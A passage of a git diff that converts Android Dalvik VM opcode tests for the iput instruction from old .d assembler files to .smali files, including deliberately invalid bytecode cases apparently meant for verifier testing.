diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.d
deleted file mode 100644
index e0b35ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_17.java
-.class public dot.junit.opcodes.iput.d.T_iput_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_17.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali
new file mode 100644
index 0000000..f663a7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_17.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_17;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.d
deleted file mode 100644
index 1ec565d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_18.java
-.class public dot.junit.opcodes.iput.d.T_iput_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali
new file mode 100644
index 0000000..5d37c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_18.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.smali
new file mode 100644
index 0000000..ab25a75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput/d/T_iput_19;
+.super Ljava/lang/Object;
+.source "T_iput_19.java"
+
+
+# instance fields
+.field public st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    iput v1, p0, Ldot/junit/opcodes/iput/d/T_iput_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.d
deleted file mode 100644
index a89c29d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_2.java
-.class public dot.junit.opcodes.iput.d.T_iput_2
-.super java/lang/Object
-
-.field public  st_d1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const-wide v1, 1000000.000000
-       iput v1, v3, dot.junit.opcodes.iput.d.T_iput_2.st_d1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali
new file mode 100644
index 0000000..0cc4943
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_2.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_2;
+.super  Ljava/lang/Object;
+
+.field public  st_d1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const-wide v1, 1000000.000000
+       iput v1, v3, Ldot/junit/opcodes/iput/d/T_iput_2;->st_d1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.smali
new file mode 100644
index 0000000..cd9b3d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput/d/T_iput_20;
+.super Ljava/lang/Object;
+.source "T_iput_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const v0, 0x0
+
+    iput v0, p0, Ldot/junit/opcodes/iput/d/T_iput_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.d
deleted file mode 100644
index f189066..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_21.java
-.class public dot.junit.opcodes.iput.d.T_iput_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1234    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali
new file mode 100644
index 0000000..9fc0af6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_21.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1234    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.d
deleted file mode 100644
index 71b8cdf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_22.java
-.class public dot.junit.opcodes.iput.d.T_iput_22
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_22.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali
new file mode 100644
index 0000000..9e9f9c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_22.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_22;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_22;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.d
deleted file mode 100644
index e0bf2a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_23.java
-.class public dot.junit.opcodes.iput.d.T_iput_23
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali
new file mode 100644
index 0000000..dc6e447
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_23.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.d
deleted file mode 100644
index 4e6d187..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_24.java
-.class public dot.junit.opcodes.iput.d.T_iput_24
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali
new file mode 100644
index 0000000..c8499d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_24.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_24;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.d
deleted file mode 100644
index bdb6b35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_3.java
-.class public dot.junit.opcodes.iput.d.T_iput_3
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1234
-       iput v0, v2, dot.junit.opcodes.iput.d.T_iput_3.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali
new file mode 100644
index 0000000..0c3fc77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_3.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1234
+       iput v0, v2, Ldot/junit/opcodes/iput/d/T_iput_3;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.d
deleted file mode 100644
index 08df316..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_30.java
-.class public dot.junit.opcodes.iput.d.T_iput_30
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput/d/T_iput_30
-    const v1, 0
-    iput v1, v0, dot.junit.opcodes.iput.d.T_iput_30.st_i1 I
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali
new file mode 100644
index 0000000..ac28294
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_30.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput/d/T_iput_30;
+    const v1, 0
+    iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_30;->st_i1:I
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.d
deleted file mode 100644
index dd8b4f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_31.java
-.class public dot.junit.opcodes.iput.d.T_iput_31
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput v1, v0, dot.junit.opcodes.iput.d.T_iput_31.st_i1 I
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali
new file mode 100644
index 0000000..de64af8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_31.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_31;->st_i1:I
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.d
deleted file mode 100644
index f324be4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_4.java
-.class public dot.junit.opcodes.iput.d.T_iput_4
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput v3, v2, dot.junit.opcodes.iput.d.T_iput_4.st_i1 I
-       return-void
-.end method
-
-
